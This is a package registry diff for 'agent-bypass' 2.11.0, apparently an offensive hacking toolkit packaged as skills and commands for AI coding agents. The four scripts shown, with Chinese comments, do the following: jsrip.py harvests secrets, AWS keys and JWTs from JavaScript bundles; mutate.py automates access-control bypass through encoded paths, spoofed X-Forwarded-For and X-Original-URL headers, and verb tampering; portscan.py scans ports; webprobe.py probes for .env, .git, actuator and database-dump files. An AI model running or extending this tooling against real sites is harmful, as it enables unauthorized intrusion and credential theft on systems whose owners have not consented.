agent-bypass 2.11.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +180 -0
- package/SKILL.md +878 -0
- package/SYSTEM_PROMPT.md +37 -0
- package/bin/install.js +373 -0
- package/ck-hunter.md +2501 -0
- package/claude/AGENTS.md +4 -0
- package/claude/commands/ck.md +7 -0
- package/config.yaml.example +46 -0
- package/grok/AGENTS.md +4 -0
- package/grok/skills/ck/SKILL.md +11 -0
- package/opencode/commands/ck.md +6 -0
- package/package.json +37 -0
- package/pi/AGENTS.md +4 -0
- package/pi/prompts/ck.md +7 -0
- package/references/cloud-mobile-supply-chain.md +342 -0
- package/references/learned.md +144 -0
- package/references/payloads.md +301 -0
- package/references/recon-commands.md +234 -0
- package/references/verification-checklist.md +108 -0
- package/scripts/basicauth_brute.py +48 -0
- package/scripts/cvefetch.py +156 -0
- package/scripts/deck.py +364 -0
- package/scripts/depscan.py +277 -0
- package/scripts/dirbrute.py +299 -0
- package/scripts/doh_resolve.sh +7 -0
- package/scripts/jsrip.py +141 -0
- package/scripts/mutate.py +191 -0
- package/scripts/portscan.py +104 -0
- package/scripts/webprobe.py +80 -0
package/scripts/jsrip.py
ADDED
|
@@ -0,0 +1,141 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# -*- coding: utf-8 -*-
|
|
3
|
+
"""
|
|
4
|
+
JS 静态文件提取器(§01 Step 8 侧枝折射)
|
|
5
|
+
|
|
6
|
+
从 JS bundle 里提取:
|
|
7
|
+
· API 接口路径
|
|
8
|
+
· 硬编码密钥/token
|
|
9
|
+
· sourcemap 地址
|
|
10
|
+
· 内网地址 / 埋点上报地址
|
|
11
|
+
· 注释 / TODO / 调试信息
|
|
12
|
+
|
|
13
|
+
用法:
|
|
14
|
+
python3 jsrip.py https://target.com/static/app.js
|
|
15
|
+
python3 jsrip.py https://target.com --scan # 自动找页面引用的 JS
|
|
16
|
+
python3 jsrip.py https://target.com/app.js --json
|
|
17
|
+
"""
|
|
18
|
+
import argparse, json, re, ssl, sys, urllib.parse
|
|
19
|
+
import urllib.request, urllib.error
|
|
20
|
+
|
|
21
|
+
CTX = ssl.create_default_context()
|
|
22
|
+
CTX.check_hostname = False
|
|
23
|
+
CTX.verify_mode = ssl.CERT_NONE
|
|
24
|
+
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120 Safari/537.36"
|
|
25
|
+
|
|
26
|
+
# 提取规则
|
|
27
|
+
RULES = {
|
|
28
|
+
"api_path": re.compile(r'["\'`](/[a-zA-Z0-9_\-/]{2,60}(?:/[a-zA-Z0-9_\-{}:.]{1,40})*)["\'`]'),
|
|
29
|
+
"full_url": re.compile(r'https?://[a-zA-Z0-9._\-]+(?::\d+)?[a-zA-Z0-9._\-/?#=&%]*'),
|
|
30
|
+
"secret": re.compile(r'(?i)(?:api[_-]?key|apikey|secret|token|passwd|password|auth)["\']?\s*[:=]\s*["\']([^"\']{8,80})["\']'),
|
|
31
|
+
"aws_key": re.compile(r'AKIA[0-9A-Z]{16}'),
|
|
32
|
+
"jwt": re.compile(r'eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}'),
|
|
33
|
+
"sourcemap": re.compile(r'//[#@]\s*sourceMappingURL=([^\s]+)'),
|
|
34
|
+
"internal_ip": re.compile(r'\b(?:10|172\.(?:1[6-9]|2\d|3[01])|192\.168)\.\d{1,3}\.\d{1,3}\b'),
|
|
35
|
+
"comment": re.compile(r'/\*\s*(?:TODO|FIXME|HACK|XXX|NOTE)[^*]{0,200}\*/', re.I),
|
|
36
|
+
"graphql": re.compile(r'(?:query|mutation)\s+\w+\s*[({]'),
|
|
37
|
+
"websocket": re.compile(r'wss?://[a-zA-Z0-9._\-:]+[a-zA-Z0-9._\-/?#=&%]*'),
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
|
|
41
|
+
def get(url, timeout=20):
|
|
42
|
+
h = {"User-Agent": UA, "Accept": "*/*"}
|
|
43
|
+
try:
|
|
44
|
+
r = urllib.request.Request(url, headers=h)
|
|
45
|
+
with urllib.request.urlopen(r, timeout=timeout, context=CTX) as x:
|
|
46
|
+
return x.read(3000000).decode("utf-8", "ignore")
|
|
47
|
+
except Exception as e:
|
|
48
|
+
print(f" [错误] {url}: {str(e)[:60]}", file=sys.stderr)
|
|
49
|
+
return ""
|
|
50
|
+
|
|
51
|
+
|
|
52
|
+
def find_js_urls(base):
|
|
53
|
+
"""从 HTML 里找 JS 引用"""
|
|
54
|
+
html = get(base)
|
|
55
|
+
if not html:
|
|
56
|
+
return []
|
|
57
|
+
urls = set()
|
|
58
|
+
for m in re.finditer(r'<script[^>]+src=["\']([^"\']+)["\']', html, re.I):
|
|
59
|
+
urls.add(m.group(1))
|
|
60
|
+
for m in re.finditer(r'<link[^>]+href=["\']([^"\']+\.js)["\']', html, re.I):
|
|
61
|
+
urls.add(m.group(1))
|
|
62
|
+
out = []
|
|
63
|
+
for u in urls:
|
|
64
|
+
out.append(urllib.parse.urljoin(base, u))
|
|
65
|
+
return out
|
|
66
|
+
|
|
67
|
+
|
|
68
|
+
def analyze(url, content):
|
|
69
|
+
hits = {}
|
|
70
|
+
for name, rx in RULES.items():
|
|
71
|
+
found = rx.findall(content)
|
|
72
|
+
if not found:
|
|
73
|
+
continue
|
|
74
|
+
# 去重 + 截断
|
|
75
|
+
uniq = []
|
|
76
|
+
seen = set()
|
|
77
|
+
for f in found:
|
|
78
|
+
v = f if isinstance(f, str) else f[0]
|
|
79
|
+
v = v.strip()
|
|
80
|
+
if len(v) < 3 or v in seen:
|
|
81
|
+
continue
|
|
82
|
+
seen.add(v)
|
|
83
|
+
uniq.append(v[:150])
|
|
84
|
+
if uniq:
|
|
85
|
+
hits[name] = uniq[:40]
|
|
86
|
+
return hits
|
|
87
|
+
|
|
88
|
+
|
|
89
|
+
def main():
|
|
90
|
+
ap = argparse.ArgumentParser(description="JS 静态文件提取器")
|
|
91
|
+
ap.add_argument("target", help="JS 文件 URL 或站点 URL(配合 --scan)")
|
|
92
|
+
ap.add_argument("--scan", action="store_true", help="从 HTML 自动找 JS")
|
|
93
|
+
ap.add_argument("--json", action="store_true")
|
|
94
|
+
ap.add_argument("--depth", type=int, default=5, help="最多分析几个 JS")
|
|
95
|
+
a = ap.parse_args()
|
|
96
|
+
|
|
97
|
+
targets = []
|
|
98
|
+
if a.scan:
|
|
99
|
+
print(f"[*] 扫描 {a.target} 引用的 JS...", file=sys.stderr)
|
|
100
|
+
targets = find_js_urls(a.target)[:a.depth]
|
|
101
|
+
if not targets:
|
|
102
|
+
print(" (未找到 JS 引用)", file=sys.stderr)
|
|
103
|
+
else:
|
|
104
|
+
targets = [a.target]
|
|
105
|
+
|
|
106
|
+
allhits = {}
|
|
107
|
+
for u in targets:
|
|
108
|
+
print(f"[*] 分析 {u}", file=sys.stderr)
|
|
109
|
+
c = get(u)
|
|
110
|
+
if not c:
|
|
111
|
+
continue
|
|
112
|
+
hits = analyze(u, c)
|
|
113
|
+
if hits:
|
|
114
|
+
allhits[u] = hits
|
|
115
|
+
|
|
116
|
+
if a.json:
|
|
117
|
+
print(json.dumps(allhits, ensure_ascii=False, indent=1))
|
|
118
|
+
return
|
|
119
|
+
|
|
120
|
+
# 人类可读输出
|
|
121
|
+
LABEL = {
|
|
122
|
+
"api_path": "接口路径", "full_url": "完整 URL", "secret": "★ 疑似密钥",
|
|
123
|
+
"aws_key": "★★ AWS Key", "jwt": "★★ JWT", "sourcemap": "★ sourcemap",
|
|
124
|
+
"internal_ip": "★ 内网 IP", "comment": "注释/TODO",
|
|
125
|
+
"graphql": "GraphQL", "websocket": "WebSocket",
|
|
126
|
+
}
|
|
127
|
+
for u, hits in allhits.items():
|
|
128
|
+
print(f"\n{'='*66}\n{u}\n{'='*66}")
|
|
129
|
+
for name in ("aws_key", "jwt", "secret", "sourcemap", "internal_ip",
|
|
130
|
+
"websocket", "graphql", "api_path", "full_url", "comment"):
|
|
131
|
+
if name not in hits:
|
|
132
|
+
continue
|
|
133
|
+
print(f"\n[{LABEL.get(name, name)}] {len(hits[name])} 条")
|
|
134
|
+
for v in hits[name][:25]:
|
|
135
|
+
print(f" {v}")
|
|
136
|
+
if len(hits[name]) > 25:
|
|
137
|
+
print(f" ... 还有 {len(hits[name])-25} 条")
|
|
138
|
+
|
|
139
|
+
|
|
140
|
+
if __name__ == "__main__":
|
|
141
|
+
main()
|
|
@@ -0,0 +1,191 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# -*- coding: utf-8 -*-
|
|
3
|
+
"""
|
|
4
|
+
自适应变异调度器(§01 Step 6a)
|
|
5
|
+
|
|
6
|
+
对同一个请求,按 L1→L5 层级自动生成变异,逐个发送,
|
|
7
|
+
对比响应差异,找出能绕过的那一个。
|
|
8
|
+
|
|
9
|
+
用法:
|
|
10
|
+
# 基础:对 URL 做路径变异
|
|
11
|
+
python3 mutate.py https://target.com/admin
|
|
12
|
+
|
|
13
|
+
# 带阻断基线:先记 403 的响应特征,再找能绕过的
|
|
14
|
+
python3 mutate.py https://target.com/admin --baseline-status 403
|
|
15
|
+
|
|
16
|
+
# 参数变异
|
|
17
|
+
python3 mutate.py "https://target.com/api?id=1" --mode param
|
|
18
|
+
|
|
19
|
+
# 自定义 header 变异
|
|
20
|
+
python3 mutate.py https://target.com/admin --mode header
|
|
21
|
+
|
|
22
|
+
# 输出全部(含失败)
|
|
23
|
+
python3 mutate.py https://target.com/admin --all
|
|
24
|
+
"""
|
|
25
|
+
import argparse, ssl, sys, urllib.parse
|
|
26
|
+
import urllib.request, urllib.error
|
|
27
|
+
|
|
28
|
+
CTX = ssl.create_default_context()
|
|
29
|
+
CTX.check_hostname = False
|
|
30
|
+
CTX.verify_mode = ssl.CERT_NONE
|
|
31
|
+
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120 Safari/537.36"
|
|
32
|
+
|
|
33
|
+
|
|
34
|
+
def req(url, method="GET", headers=None, data=None, timeout=12):
|
|
35
|
+
h = {"User-Agent": UA, "Accept": "*/*"}
|
|
36
|
+
if headers:
|
|
37
|
+
h.update(headers)
|
|
38
|
+
body = data.encode() if isinstance(data, str) else data
|
|
39
|
+
try:
|
|
40
|
+
r = urllib.request.Request(url, data=body, headers=h, method=method)
|
|
41
|
+
with urllib.request.urlopen(r, timeout=timeout, context=CTX) as x:
|
|
42
|
+
return x.status, len(x.read(300000)), dict(x.headers)
|
|
43
|
+
except urllib.error.HTTPError as e:
|
|
44
|
+
return e.code, 0, dict(e.headers)
|
|
45
|
+
except Exception as e:
|
|
46
|
+
return None, 0, {"_err": str(e)[:50]}
|
|
47
|
+
|
|
48
|
+
|
|
49
|
+
# ── L3 路径变异 ──
|
|
50
|
+
def path_variants(path):
|
|
51
|
+
p = path.lstrip("/")
|
|
52
|
+
out = [
|
|
53
|
+
("原值", f"/{p}"),
|
|
54
|
+
("URL编码", "/" + p.replace("/", "%2f")),
|
|
55
|
+
("双重编码", "/" + p.replace("/", "%252f")),
|
|
56
|
+
("全编码", "/" + "".join("%" + hex(ord(c))[2:] for c in p if c != "/")),
|
|
57
|
+
("双斜杠", f"//{p}"),
|
|
58
|
+
("点斜杠", f"/./{p}"),
|
|
59
|
+
("尾部斜杠", f"/{p}/"),
|
|
60
|
+
("尾部分号", f"/{p};.css"),
|
|
61
|
+
("尾部点", f"/{p}."),
|
|
62
|
+
("尾部%20", f"/{p}%20"),
|
|
63
|
+
("尾部%00", f"/{p}%00.html"),
|
|
64
|
+
("大写", f"/{p.upper()}"),
|
|
65
|
+
("上级穿越", f"/./{p}/../{p}"),
|
|
66
|
+
("问号截断", f"/{p}?x=.css"),
|
|
67
|
+
("井号截断", f"/{p}#.css"),
|
|
68
|
+
("分号参数", f"/{p};x=1"),
|
|
69
|
+
("反斜杠", f"/{p.replace('/', chr(92))}"),
|
|
70
|
+
("过编UTF8", "/" + p.replace("/", "%c0%af")),
|
|
71
|
+
("全角点", "/" + p.replace("/", "%2f")),
|
|
72
|
+
]
|
|
73
|
+
return out
|
|
74
|
+
|
|
75
|
+
|
|
76
|
+
# ── L5 参数变异 ──
|
|
77
|
+
def param_variants(query):
|
|
78
|
+
if not query:
|
|
79
|
+
return [("原值", "")]
|
|
80
|
+
parts = dict(urllib.parse.parse_qsl(query, keep_blank_values=True))
|
|
81
|
+
out = [("原值", query)]
|
|
82
|
+
for k, v in parts.items():
|
|
83
|
+
out += [
|
|
84
|
+
(f"{k} HPP", f"{query}&{k}={v}2"),
|
|
85
|
+
(f"{k} 数组", f"{k}[]={v}"),
|
|
86
|
+
(f"{k} 空字节", f"{k}={v}%00"),
|
|
87
|
+
(f"{k} 类型混淆", f"{k}={v}.0"),
|
|
88
|
+
(f"{k} 科学计数", f"{k}={v}e1"),
|
|
89
|
+
(f"{k} 负数", f"{k}=-{v}"),
|
|
90
|
+
(f"{k} 超长", f"{k}={'A'*500}"),
|
|
91
|
+
(f"{k} 换行", f"{k}={v}%0a"),
|
|
92
|
+
]
|
|
93
|
+
return out[:40]
|
|
94
|
+
|
|
95
|
+
|
|
96
|
+
# ── L4 header 变异 ──
|
|
97
|
+
HEADER_VARIANTS = [
|
|
98
|
+
("原值", {}),
|
|
99
|
+
("XFF 本地", {"X-Forwarded-For": "127.0.0.1"}),
|
|
100
|
+
("X-Real-IP", {"X-Real-IP": "127.0.0.1"}),
|
|
101
|
+
("X-Originating-IP", {"X-Originating-IP": "127.0.0.1"}),
|
|
102
|
+
("X-Forwarded-Host", {"X-Forwarded-Host": "127.0.0.1"}),
|
|
103
|
+
("X-Original-URL", {"X-Original-URL": "/"}),
|
|
104
|
+
("X-Rewrite-URL", {"X-Rewrite-URL": "/"}),
|
|
105
|
+
("X-Forwarded-Prefix", {"X-Forwarded-Prefix": "/"}),
|
|
106
|
+
("Referer 内页", {"Referer": "http://127.0.0.1/"}),
|
|
107
|
+
("表单 CT", {"Content-Type": "application/x-www-form-urlencoded"}),
|
|
108
|
+
("JSON CT", {"Content-Type": "application/json"}),
|
|
109
|
+
("X-Custom-IP", {"X-Custom-IP-Authorization": "127.0.0.1"}),
|
|
110
|
+
("Client-IP", {"Client-IP": "127.0.0.1"}),
|
|
111
|
+
("X-Client-IP", {"X-Client-IP": "127.0.0.1"}),
|
|
112
|
+
("Forwarded", {"Forwarded": "for=127.0.0.1;host=127.0.0.1"}),
|
|
113
|
+
]
|
|
114
|
+
|
|
115
|
+
METHODS = ["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS", "TRACE"]
|
|
116
|
+
|
|
117
|
+
|
|
118
|
+
def main():
|
|
119
|
+
ap = argparse.ArgumentParser(description="自适应变异调度器")
|
|
120
|
+
ap.add_argument("url")
|
|
121
|
+
ap.add_argument("--mode", choices=["path", "param", "header", "method", "all"],
|
|
122
|
+
default="all")
|
|
123
|
+
ap.add_argument("--baseline-status", type=int, help="阻断基线状态码(如 403)")
|
|
124
|
+
ap.add_argument("--all", action="store_true", help="输出全部,不只差异")
|
|
125
|
+
a = ap.parse_args()
|
|
126
|
+
|
|
127
|
+
u = urllib.parse.urlsplit(a.url)
|
|
128
|
+
base = f"{u.scheme}://{u.netloc}"
|
|
129
|
+
path = u.path or "/"
|
|
130
|
+
|
|
131
|
+
# 基线
|
|
132
|
+
st0, ln0, _ = req(a.url)
|
|
133
|
+
print(f"[基线] {a.url} → {st0}", file=sys.stderr)
|
|
134
|
+
base_status = a.baseline_status or st0
|
|
135
|
+
|
|
136
|
+
results = []
|
|
137
|
+
tested = 0
|
|
138
|
+
|
|
139
|
+
def try_one(label, url, method="GET", headers=None):
|
|
140
|
+
nonlocal tested
|
|
141
|
+
tested += 1
|
|
142
|
+
st, ln, hd = req(url, method, headers)
|
|
143
|
+
# 判定:状态码变了 或 长度差异明显
|
|
144
|
+
interesting = False
|
|
145
|
+
if st is None:
|
|
146
|
+
interesting = False
|
|
147
|
+
elif st != base_status:
|
|
148
|
+
interesting = True
|
|
149
|
+
elif ln0 and abs(ln - ln0) > max(200, ln0 * 0.15):
|
|
150
|
+
interesting = True
|
|
151
|
+
results.append({"label": label, "url": url, "method": method,
|
|
152
|
+
"status": st, "len": ln, "interesting": interesting,
|
|
153
|
+
"loc": hd.get("Location", "")})
|
|
154
|
+
if interesting or a.all:
|
|
155
|
+
mark = "★" if interesting else " "
|
|
156
|
+
print(f" {mark} [{st}] len={ln:<7} {label:<20} {method} {url[:90]}")
|
|
157
|
+
|
|
158
|
+
# 按模式执行
|
|
159
|
+
if a.mode in ("path", "all"):
|
|
160
|
+
print("\n=== L3 路径变异 ===", file=sys.stderr)
|
|
161
|
+
for label, vp in path_variants(path):
|
|
162
|
+
try_one(f"路径·{label}", base + vp)
|
|
163
|
+
|
|
164
|
+
if a.mode in ("param", "all") and u.query:
|
|
165
|
+
print("\n=== L5 参数变异 ===", file=sys.stderr)
|
|
166
|
+
for label, q in param_variants(u.query):
|
|
167
|
+
try_one(f"参数·{label}", f"{base}{path}?{q}")
|
|
168
|
+
|
|
169
|
+
if a.mode in ("header", "all"):
|
|
170
|
+
print("\n=== L4 Header 变异 ===", file=sys.stderr)
|
|
171
|
+
for label, hd in HEADER_VARIANTS:
|
|
172
|
+
try_one(f"头·{label}", a.url, headers=hd)
|
|
173
|
+
|
|
174
|
+
if a.mode in ("method", "all"):
|
|
175
|
+
print("\n=== L4 动词变异 ===", file=sys.stderr)
|
|
176
|
+
for m in METHODS:
|
|
177
|
+
try_one(f"动词·{m}", a.url, method=m)
|
|
178
|
+
|
|
179
|
+
# 汇总
|
|
180
|
+
hits = [r for r in results if r["interesting"]]
|
|
181
|
+
print(f"\n{'='*60}", file=sys.stderr)
|
|
182
|
+
print(f"[结果] 共试 {tested} 种变异,发现 {len(hits)} 个差异响应", file=sys.stderr)
|
|
183
|
+
for h in hits:
|
|
184
|
+
print(f" ★ [{h['status']}] {h['label']} → {h['url'][:100]}", file=sys.stderr)
|
|
185
|
+
|
|
186
|
+
if hits:
|
|
187
|
+
print("\n[下一步] 差异响应写入 learned.md,继续深挖成功的那条", file=sys.stderr)
|
|
188
|
+
|
|
189
|
+
|
|
190
|
+
if __name__ == "__main__":
|
|
191
|
+
main()
|
|
@@ -0,0 +1,104 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# -*- coding: utf-8 -*-
|
|
3
|
+
"""
|
|
4
|
+
并发端口扫描(无需 nmap)
|
|
5
|
+
|
|
6
|
+
用法:
|
|
7
|
+
python3 portscan.py <host> [--ports 1-65535] [--conc 500] [--timeout 2]
|
|
8
|
+
python3 portscan.py 1.2.3.4 --ports top100
|
|
9
|
+
python3 portscan.py 1.2.3.4 --ports 22,80,443,3306,6379
|
|
10
|
+
|
|
11
|
+
输出: jsonl(每行一个开放端口)
|
|
12
|
+
"""
|
|
13
|
+
import asyncio, json, sys, argparse
|
|
14
|
+
|
|
15
|
+
TOP100 = [21,22,23,25,53,80,110,111,135,139,143,443,445,993,995,1433,1521,1723,
|
|
16
|
+
2049,3306,3389,5432,5900,5984,6379,7001,8000,8008,8080,8081,8443,8888,
|
|
17
|
+
9000,9090,9200,9300,10000,11211,27017,50000]
|
|
18
|
+
TOP20 = [21,22,23,25,53,80,443,445,3306,3389,5432,5900,6379,8000,8080,8443,8888,9000,9200,27017]
|
|
19
|
+
|
|
20
|
+
COMMON = {
|
|
21
|
+
21:"ftp",22:"ssh",23:"telnet",25:"smtp",53:"dns",80:"http",110:"pop3",
|
|
22
|
+
111:"rpcbind",135:"msrpc",139:"netbios",143:"imap",443:"https",445:"smb",
|
|
23
|
+
993:"imaps",995:"pop3s",1433:"mssql",1521:"oracle",1723:"pptp",
|
|
24
|
+
2049:"nfs",3306:"mysql",3389:"rdp",5432:"postgres",5900:"vnc",
|
|
25
|
+
5984:"couchdb",6379:"redis",7001:"weblogic",8000:"http-alt",
|
|
26
|
+
8008:"http-alt",8080:"http-proxy",8081:"http-alt",8443:"https-alt",
|
|
27
|
+
8888:"http-alt",9000:"php-fpm",9090:"http-alt",9200:"elasticsearch",
|
|
28
|
+
9300:"es-transport",10000:"webmin",11211:"memcached",27017:"mongodb",
|
|
29
|
+
50000:"db2"
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
def parse_ports(s):
|
|
34
|
+
s = s.strip().lower()
|
|
35
|
+
if s == "top100":
|
|
36
|
+
return TOP100
|
|
37
|
+
if s == "top20":
|
|
38
|
+
return TOP20
|
|
39
|
+
out = []
|
|
40
|
+
for part in s.split(","):
|
|
41
|
+
part = part.strip()
|
|
42
|
+
if "-" in part:
|
|
43
|
+
a, b = part.split("-")
|
|
44
|
+
out.extend(range(int(a), int(b)+1))
|
|
45
|
+
elif part:
|
|
46
|
+
out.append(int(part))
|
|
47
|
+
return sorted(set(out))
|
|
48
|
+
|
|
49
|
+
|
|
50
|
+
async def probe(host, port, timeout=2.0):
|
|
51
|
+
try:
|
|
52
|
+
r, w = await asyncio.wait_for(
|
|
53
|
+
asyncio.open_connection(host, port), timeout=timeout)
|
|
54
|
+
w.close()
|
|
55
|
+
try:
|
|
56
|
+
await w.wait_closed()
|
|
57
|
+
except Exception:
|
|
58
|
+
pass
|
|
59
|
+
return port
|
|
60
|
+
except Exception:
|
|
61
|
+
return None
|
|
62
|
+
|
|
63
|
+
|
|
64
|
+
async def scan(host, ports, conc=500, timeout=2.0):
|
|
65
|
+
sem = asyncio.Semaphore(conc)
|
|
66
|
+
open_ports = []
|
|
67
|
+
|
|
68
|
+
async def one(p):
|
|
69
|
+
async with sem:
|
|
70
|
+
r = await probe(host, p, timeout)
|
|
71
|
+
if r:
|
|
72
|
+
open_ports.append(r)
|
|
73
|
+
|
|
74
|
+
await asyncio.gather(*[one(p) for p in ports])
|
|
75
|
+
return sorted(open_ports)
|
|
76
|
+
|
|
77
|
+
|
|
78
|
+
def main():
|
|
79
|
+
ap = argparse.ArgumentParser(description="并发端口扫描(无需 nmap)")
|
|
80
|
+
ap.add_argument("host")
|
|
81
|
+
ap.add_argument("--ports", default="top20",
|
|
82
|
+
help="1-65535 / top100 / top20 / 22,80,443")
|
|
83
|
+
ap.add_argument("--conc", type=int, default=500, help="并发数")
|
|
84
|
+
ap.add_argument("--timeout", type=float, default=2.0)
|
|
85
|
+
ap.add_argument("--json", action="store_true", help="只输出 JSONL")
|
|
86
|
+
a = ap.parse_args()
|
|
87
|
+
|
|
88
|
+
ports = parse_ports(a.ports)
|
|
89
|
+
if not a.json:
|
|
90
|
+
print(f"# 扫描 {a.host} 共 {len(ports)} 端口 (并发 {a.conc})",
|
|
91
|
+
file=sys.stderr)
|
|
92
|
+
|
|
93
|
+
open_ports = asyncio.run(scan(a.host, ports, a.conc, a.timeout))
|
|
94
|
+
|
|
95
|
+
for p in open_ports:
|
|
96
|
+
rec = {"host": a.host, "port": p, "service": COMMON.get(p, "?")}
|
|
97
|
+
print(json.dumps(rec, ensure_ascii=False))
|
|
98
|
+
|
|
99
|
+
if not a.json:
|
|
100
|
+
print(f"# 开放 {len(open_ports)} 个: {open_ports}", file=sys.stderr)
|
|
101
|
+
|
|
102
|
+
|
|
103
|
+
if __name__ == "__main__":
|
|
104
|
+
main()
|
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# -*- coding: utf-8 -*-
|
|
3
|
+
"""
|
|
4
|
+
Web 批量指纹 + 路径探测器
|
|
5
|
+
用法: python3 webprobe.py <domain> [<domain> ...] # 或完整 URL
|
|
6
|
+
输出: jsonl(指纹 + 命中路径)
|
|
7
|
+
"""
|
|
8
|
+
import sys, json, ssl, re, urllib.request, urllib.error, concurrent.futures
|
|
9
|
+
|
|
10
|
+
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0 Safari/537.36"
|
|
11
|
+
CTX = ssl.create_default_context()
|
|
12
|
+
CTX.check_hostname = False
|
|
13
|
+
CTX.verify_mode = ssl.CERT_NONE
|
|
14
|
+
|
|
15
|
+
PROBE_PATHS = [
|
|
16
|
+
"/", "/robots.txt", "/.env", "/.git/HEAD", "/config.json", "/config.js",
|
|
17
|
+
"/admin", "/admin/", "/manage/login", "/api/admin", "/api/v1/admin",
|
|
18
|
+
"/actuator", "/actuator/health", "/actuator/env", "/actuator/beans",
|
|
19
|
+
"/swagger-ui.html", "/v3/api-docs", "/openapi.json", "/api-docs",
|
|
20
|
+
"/api/site", "/api/config", "/api/health", "/health", "/version",
|
|
21
|
+
"/api/v1/guest", "/api/v1/announcement", "/api/query/keys/batch",
|
|
22
|
+
"/api/v1/recharge/verify-cdk", "/api/v1/lookup/tasks", "/api/verify/cdk",
|
|
23
|
+
"/api/auth/login", "/api/auth/verify", "/login", "/dashboard",
|
|
24
|
+
"/backup.zip", "/db.sql", "/phpinfo.php", "/info.php", "/server-status",
|
|
25
|
+
]
|
|
26
|
+
|
|
27
|
+
def req(url, method="GET", data=None, timeout=12, headers=None):
|
|
28
|
+
h = {"User-Agent": UA, "Accept": "*/*"}
|
|
29
|
+
if headers: h.update(headers)
|
|
30
|
+
body = None
|
|
31
|
+
if data is not None:
|
|
32
|
+
body = json.dumps(data).encode()
|
|
33
|
+
h["Content-Type"] = "application/json"
|
|
34
|
+
r = urllib.request.Request(url, data=body, headers=h, method=method)
|
|
35
|
+
try:
|
|
36
|
+
with urllib.request.urlopen(r, timeout=timeout, context=CTX) as resp:
|
|
37
|
+
raw = resp.read(4000)
|
|
38
|
+
return resp.status, dict(resp.headers), raw
|
|
39
|
+
except urllib.error.HTTPError as e:
|
|
40
|
+
return e.code, dict(e.headers or {}), (e.read(4000) if e.fp else b"")
|
|
41
|
+
except Exception as e:
|
|
42
|
+
return 0, {}, str(e).encode()
|
|
43
|
+
|
|
44
|
+
def scan(domain):
|
|
45
|
+
out = {"domain": domain, "hits": [], "errors": []}
|
|
46
|
+
# 指纹
|
|
47
|
+
st, hd, bd = req(f"https://{domain}/")
|
|
48
|
+
txt = bd.decode("utf-8", "replace")
|
|
49
|
+
out["root_status"] = st
|
|
50
|
+
out["server"] = hd.get("Server") or hd.get("server")
|
|
51
|
+
m = re.search(r"<title[^>]*>([^<]*)", txt, re.I)
|
|
52
|
+
out["title"] = m.group(1).strip() if m else ""
|
|
53
|
+
out["frameworks"] = sorted(set(re.findall(
|
|
54
|
+
r"(dujiaoka|独角数卡|ruoyi|若依|spring|actuator|vue|react|nuxt|next|vite|"
|
|
55
|
+
r"laravel|thinkphp|django|flask|express|gin|subvault|new-api|one-api)",
|
|
56
|
+
txt + str(hd), re.I)))
|
|
57
|
+
# 路径探测
|
|
58
|
+
for p in PROBE_PATHS:
|
|
59
|
+
s, h, b = req(f"https://{domain}{p}")
|
|
60
|
+
if s in (200, 201, 301, 302, 401, 403, 405, 500):
|
|
61
|
+
bt = b[:300].decode("utf-8", "replace")
|
|
62
|
+
# 过滤 SPA 兜底(同 root 长度 + text/html)
|
|
63
|
+
if s == 200 and bt[:60] == txt[:60] and len(b) == len(bd):
|
|
64
|
+
continue
|
|
65
|
+
out["hits"].append({"path": p, "status": s,
|
|
66
|
+
"ct": h.get("Content-Type", "")[:40],
|
|
67
|
+
"len": len(b), "body": bt[:220]})
|
|
68
|
+
return out
|
|
69
|
+
|
|
70
|
+
def main():
|
|
71
|
+
domains = sys.argv[1:]
|
|
72
|
+
if not domains:
|
|
73
|
+
print(__doc__.strip())
|
|
74
|
+
sys.exit(0)
|
|
75
|
+
with concurrent.futures.ThreadPoolExecutor(max_workers=6) as ex:
|
|
76
|
+
for r in ex.map(scan, domains):
|
|
77
|
+
print(json.dumps(r, ensure_ascii=False))
|
|
78
|
+
|
|
79
|
+
if __name__ == "__main__":
|
|
80
|
+
main()
|